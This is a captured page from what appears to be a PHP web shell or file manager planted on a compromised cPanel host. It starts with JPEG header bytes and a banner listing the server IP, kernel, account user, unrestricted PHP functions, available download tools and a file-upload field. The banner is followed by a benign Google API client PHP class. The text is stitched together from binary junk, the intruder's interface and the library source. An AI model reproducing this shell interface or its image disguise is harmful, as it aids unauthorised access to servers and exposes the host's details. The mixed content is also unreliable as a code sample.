����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/google/apiclient-services/src/Script/Resource/ |
Upload File : |
<?php
/*
* Copyright 2014 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
namespace Google\Service\Script\Resource;
use Google\Service\Script\ListScriptProcessesResponse;
use Google\Service\Script\ListUserProcessesResponse;
/**
* The "processes" collection of methods.
* Typical usage is:
* <code>
* $scriptService = new Google\Service\Script(...);
* $processes = $scriptService->processes;
* </code>
*/
class Processes extends \Google\Service\Resource
{
/**
* List information about processes made by or on behalf of a user, such as
* process type and current status. (processes.listProcesses)
*
* @param array $optParams Optional parameters.
*
* @opt_param int pageSize The maximum number of returned processes per page of
* results. Defaults to 50.
* @opt_param string pageToken The token for continuing a previous list request
* on the next page. This should be set to the value of `nextPageToken` from a
* previous response.
* @opt_param string userProcessFilter.deploymentId Optional field used to limit
* returned processes to those originating from projects with a specific
* deployment ID.
* @opt_param string userProcessFilter.endTime Optional field used to limit
* returned processes to those that completed on or before the given timestamp.
* @opt_param string userProcessFilter.functionName Optional field used to limit
* returned processes to those originating from a script function with the given
* function name.
* @opt_param string userProcessFilter.projectName Optional field used to limit
* returned processes to those originating from projects with project names
* containing a specific string.
* @opt_param string userProcessFilter.scriptId Optional field used to limit
* returned processes to those originating from projects with a specific script
* ID.
* @opt_param string userProcessFilter.startTime Optional field used to limit
* returned processes to those that were started on or after the given
* timestamp.
* @opt_param string userProcessFilter.statuses Optional field used to limit
* returned processes to those having one of the specified process statuses.
* @opt_param string userProcessFilter.types Optional field used to limit
* returned processes to those having one of the specified process types.
* @opt_param string userProcessFilter.userAccessLevels Optional field used to
* limit returned processes to those having one of the specified user access
* levels.
* @return ListUserProcessesResponse
*/
public function listProcesses($optParams = [])
{
$params = [];
$params = array_merge($params, $optParams);
return $this->call('list', [$params], ListUserProcessesResponse::class);
}
/**
* List information about a script's executed processes, such as process type
* and current status. (processes.listScriptProcesses)
*
* @param array $optParams Optional parameters.
*
* @opt_param int pageSize The maximum number of returned processes per page of
* results. Defaults to 50.
* @opt_param string pageToken The token for continuing a previous list request
* on the next page. This should be set to the value of `nextPageToken` from a
* previous response.
* @opt_param string scriptId The script ID of the project whose processes are
* listed.
* @opt_param string scriptProcessFilter.deploymentId Optional field used to
* limit returned processes to those originating from projects with a specific
* deployment ID.
* @opt_param string scriptProcessFilter.endTime Optional field used to limit
* returned processes to those that completed on or before the given timestamp.
* @opt_param string scriptProcessFilter.functionName Optional field used to
* limit returned processes to those originating from a script function with the
* given function name.
* @opt_param string scriptProcessFilter.startTime Optional field used to limit
* returned processes to those that were started on or after the given
* timestamp.
* @opt_param string scriptProcessFilter.statuses Optional field used to limit
* returned processes to those having one of the specified process statuses.
* @opt_param string scriptProcessFilter.types Optional field used to limit
* returned processes to those having one of the specified process types.
* @opt_param string scriptProcessFilter.userAccessLevels Optional field used to
* limit returned processes to those having one of the specified user access
* levels.
* @return ListScriptProcessesResponse
*/
public function listScriptProcesses($optParams = [])
{
$params = [];
$params = array_merge($params, $optParams);
return $this->call('listScriptProcesses', [$params], ListScriptProcessesResponse::class);
}
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(Processes::class, 'Google_Service_Script_Resource_Processes');